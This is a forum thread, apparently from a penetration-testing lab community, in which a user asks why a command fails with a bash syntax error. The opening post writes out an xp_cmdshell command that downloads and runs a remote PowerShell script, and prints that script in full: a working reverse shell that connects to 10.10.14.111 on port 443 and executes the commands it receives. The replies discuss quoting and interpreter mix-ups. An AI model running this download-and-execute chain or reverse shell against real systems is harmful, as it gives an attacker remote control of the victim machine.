syntax error on starting point

Hy everybody,
I tried but i can’t explain this syntax error can you help ?
sudo xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.111/shell.ps1\“);”
bash: erreur de syntaxe près du symbole inattendu « ( »
Tkxs for help

and my shell.ps1 is like that

:~$ cat shell.ps1

$client = New-Object System.Net.Sockets.TCPClient(“10.10.14.111”,443);$stream = $client.GetStream();[byte]$bytes = 0…65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

@FroggyPuff1 said:

bash: erreur de syntaxe près du symbole inattendu « ( »
^^^^^^^^^^

It looks like this is being passed to a bash interpreter not a powershell one.

I suspect it might be down to the nesting of ".

If a syntax error appears, check to make sure that the parentheses are matched up correctly. If one end is missing or lined up incorrectly, then type in the correction and check to make sure that the code can be compiled. Keeping the code as organized as possible also helps.

Regards,
Rachel Gomez